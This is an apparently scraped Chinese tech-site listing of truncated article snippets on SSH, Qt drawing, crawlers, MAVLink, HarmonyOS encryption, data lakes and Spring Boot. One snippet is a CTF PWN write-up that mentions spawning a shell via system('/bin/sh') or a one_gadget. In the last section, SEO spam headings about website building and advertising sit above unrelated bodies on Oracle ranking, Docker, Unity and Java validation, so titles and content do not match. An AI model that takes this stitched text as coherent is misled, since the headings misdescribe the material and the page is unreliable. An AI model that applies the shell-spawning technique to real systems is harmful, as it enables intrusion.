目录 一、SSH远程管理 1、SSH定义 2、SSH客户端和服务端 3、SSH工作类型 3.1、对称加密 3.2、非对称加密 4、SSH工作原理 公钥传输原理 4.1、基本概念 4.2、工作过程 5、OpenSSH服务器 二、SSH远程登录方式 1、SSH直接远程登录 2、SSH指定端口登录 3、黑白名单 …...
Qt 绘图详解
文章目录 头文件和构造函数启用反锯齿功能绘制矩形绘制圆角矩形绘制椭圆绘制圆弧绘制弦绘制凸多边形绘制图片绘制直线绘制多条直线绘制多点连接的线绘制路径绘制扇形绘制点绘制文本擦除矩形区域填充矩形填充路径 头文件和构造函数 #include "mainwindow.h" #include…...
Python 爬虫与 Java 爬虫:相似之处、不同之处和选项
在信息时代,网络上可用的数据量巨大且不断增长。为了从这些数据中提取有用的信息,爬虫已成为一种重要的技术。Python 和 Java 都是流行的编程语言,都具有强大的爬虫功能。本文将深入探讨 Python 爬虫和 Java 爬虫之间的差异,以帮助…...
视频监控汇聚平台LntonCVS视频监控系统解决智慧产业园的安全应用方案
近年来,随着全国各地数字化转型和相关政策的出台,数字化和智慧化在各行业迅速发展,尤其是作为产业集群重要组成部分的产业园区。然而,园区智慧化进程加快的同时,数字化转型面临着诸如视频监控数据分散、联通不畅、碎片…...
MAVLink代码生成-C#
一. 准备Windows下安装环境 Python 3.3 – 官网链接下载Python future模块 –pip3 install future TkInter (GUI 工具). – python for Windows自带,无需下载环境变量PYTHONPATH必须包含mavlink存储库的目录路径。 –set PYTHONPATH你的mavlink源码路径 源码下载在…...
二四、3d人脸构建
一、下载github项目3dmm_cnn-master https://github.com/anhttran/3dmm_cnn.git 一个使用深度神经网络从单个图像进行 3D 人脸建模的项目,端到端代码,可直接根据图像强度进行 3D 形状和纹理估计;使用回归的 3D 面部模型,从检测到的面部特征点估计头部姿势和表情。…...
鸿蒙开发:Universal Keystore Kit(密钥管理服务)【加解密(C/C++)】
加解密(C/C) 以AES 256密钥为例,完成加解密。具体的场景介绍及支持的算法规格。 在CMake脚本中链接相关动态库 target_link_libraries(entry PUBLIC libhuks_ndk.z.so)开发步骤 生成密钥 指定密钥别名。初始化密钥属性集。调用OH_Huks_GenerateKeyItem生成密钥)…...
Python的入门知识(上)
学习目标: 了解python 入门知识 这里写目录标题 学习目标:学习内容:快速入门 Python 基础特殊规则及特殊字符:Python 文件组织:多元赋值:变量命名规则:__name__ 系统变量:内存管理&a…...
2024春秋杯网络安全联赛夏季赛-PWN
文章目录 stdout测试setvbuf(stdout, 0LL, 2, 0LL)绕过或者输出直到缓冲区满使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https…...
怎么提高音频声音大小?提高音频声音大小的四种方法
怎么提高音频声音大小?在音频处理和编辑中,增加声音的音量是一个常见的需求,尤其是在确保音频清晰度和听觉效果的同时。调整音频的音量不仅仅是简单地提高音频的响度,它也涉及到如何保持音质的高标准,确保没有失真或削…...
从数据仓库到数据湖(下):热门的数据湖开源框架
文章目录 一、前言二、Delta Lake三、Apache Hudi四、Apache Iceberg五、Apache Paimon六、对比七、笔者观点八、总结九、参考资料 一、前言 在上一篇从数据仓库到数据湖(上):数据湖导论文章中,我们简单讲述了数据湖的起源、使用原因及其本质。本篇文章…...
对话AI原生 | 千帆AppBuilder重构企业AI原生应用开发体验
人工智能和大模型正在引领当前最重要的科技创新趋势。在过去的一年中,行业关注点已从大模型研发转向实际应用,正成为推动创新和转型的关键力量。百度智能云千帆AppBuilder作为基于大模型的企业级AI原生应用开发工作台,支持应用的快速开发和发…...
CF253C Text Editor 题解
思路 既然要求最少步数,那我们可以用bfs 如果鼠标的位置比上一行的行末位置大,如果按上的话,移到上一行的行末。如果鼠标的位置比下一行的行末位置大,如果按下的话,移到下一行的行末。 注意当鼠标位置超过当前行最大…...
Spring Boot 创建定时任务
在现代应用程序开发中,定时任务是一个常见的需求。Spring Boot作为一个强大的框架,提供了简单易用的定时任务调度功能。本文将详细介绍如何在Spring Boot中创建和管理定时任务,并提供完整的代码示例。 1. 什么是定时任务 定时任务是指在预定…...
Vue使用Echarts(入门级)
最终效果: npm install echarts --save // 先安装echarts<template><!-- 创建一个dom区域用于挂载echarts图表 --><div id"chart" style"width: 600px;height:500px;"/> </template> <script> import * as ech…...
2025届秋招提前批信息汇总(计算机类)
私企篇 深信服 链接:https://app.mokahr.com/campus_apply/sangfor/27944#/home内推码:NTAHRFS截止时间:6月21日 TP-LINK 链接:https://hr.tp-link.com.cn/jobList?jobId107&jobDirection0&workPlace0¤tPa…...
手机网站自助建设/网站建设有多少公司
oracle分类排序/排行可以通过聚合函数rank() 和 dense_rank() 来实现。 rank() 和 dense_rank() : --两种排名方式(分区和不分区):使用和不使用partition --两种计算方式(连续,不连续),对应函数:dense_rank,rank dense_rank与ran…...
广州手机建设网站/郑州网站优化
我的计算机在域中1、通过以下方法打开 Microsoft 管理控制台:选择“开始”按钮 ,在搜索框中键入“mmc”,然后按 Enter。如果系统提示你输入管理员密码或进行确认,请键入该密码或进行确认。2、在 Microsoft 管理控制台的左侧窗格中…...
管理学精品课程网站/抖音代运营公司
为什么80%的码农都做不了架构师?>>> Docker数据管理:Named volume Docker中可以使用Named volume和data container来进行数据的管理。 单一Container的使用Helloworld 来源:http://www.youruncloud.com/docker/1_71.html 转载于:…...
做网站发广告/简述网络营销的特点及功能
在ASP.NET 中使用 Unity Application Block – 示例(提供代码下载) 下面的示例演示在ASP.NET Web Application 中使用 Unity 依赖注入容器。下载ASP.NetWeb Application源码!!! 具体步骤如下: 1. 创建IUnit…...
滁州 来安县建设局网站/宁波品牌网站推广优化
苏生不惑第257 篇原创文章,将本公众号设为星标,第一时间看最新文章。之前分享过5分钟搞定b站答题成为正式会员,每天自动刷经验值升级账号,不过那个GitHub仓库已经被删了,作者提供了本地版本和腾讯云版本,我…...
wordpress的搭建环境/百度广告运营
常规的这两个校验工具的用法,可以阅读之前的博文,链接如下: @Valid 和@Validated的区别 那么如果大家看完了基础用法,就可以继续深入学习了,本篇博文主要对这个两个注解的用法进行自定义,实现扩展 废话不多说,上正菜…… 案例一 /*** 大版本信息表** @author fangh*…...